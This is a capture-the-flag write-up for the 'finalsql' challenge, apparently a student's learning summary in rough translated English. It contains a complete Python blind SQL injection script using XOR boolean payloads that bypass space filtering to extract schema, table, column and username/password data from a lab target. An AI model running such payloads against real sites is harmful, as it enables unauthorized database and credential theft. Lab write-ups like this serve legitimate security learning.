[geek challenge 2019] finalsql 1

---

Weekly learning summary

1. Open the web link ：
   
   It's useless to enter the input box here , This question reminds us SQL Inject , Now follow the prompts and click

2. Fifth display ：
   
   Here we look at the sixth page ：
   

3. Combined with the tips given by the web page, this may be an injection point and a blind injection , And then use burp Test and filter those , Filtered spaces, etc , Here I use sqlmap Blind injection but not how to use , I found it online The bosses payload

   import requests
   import time
   
   url = "http://269eac17-6039-4ac9-a491-e6e090ef7bd5.node4.buuoj.cn:81/search.php"
   temp = {
         "id": ""}
   column = ""
   for i in range(1, 1000):
       time.sleep(0.06) #  Time interval between 
       low = 32
       high = 128
       mid = (low + high) // 2
       while (low < high):
           #  Library name   first  %d  Refers to the first few characters   the second  %d  Refers to the size of the current character 
           # temp["id"] = "1^(ascii(substr((select(group_concat(schema_name))from(information_schema.schemata)),%d,1))>%d)^1" %(i,mid)
           #  Table name 
           # temp["id"] = "1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),%d,1))>%d)^1" %(i,mid)
           #  Field name 
           # temp["id"] = "1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='F1naI1y')),%d,1))>%d)^1" %(i,mid)
           #  Content 
           temp["id"] = "1^(ascii(substr((select(group_concat(id,username,password))from(F1naI1y)),%d,1))>%d)^1" % (i, mid)
           #
           r = requests.get(url, params=temp)
           time.sleep(0.04)
           print(low, high, mid, ":")
           if "Click" in r.text:
               low = mid + 1
           else:
               high = mid
           mid = (low + high) // 2
       if (mid == 32 or mid == 127):
           break
       column += chr(mid)
       print(column)
   
   print("All:", column)
   

4. Finally, you can get flag

summary

1. The information displayed on the page needs to be analyzed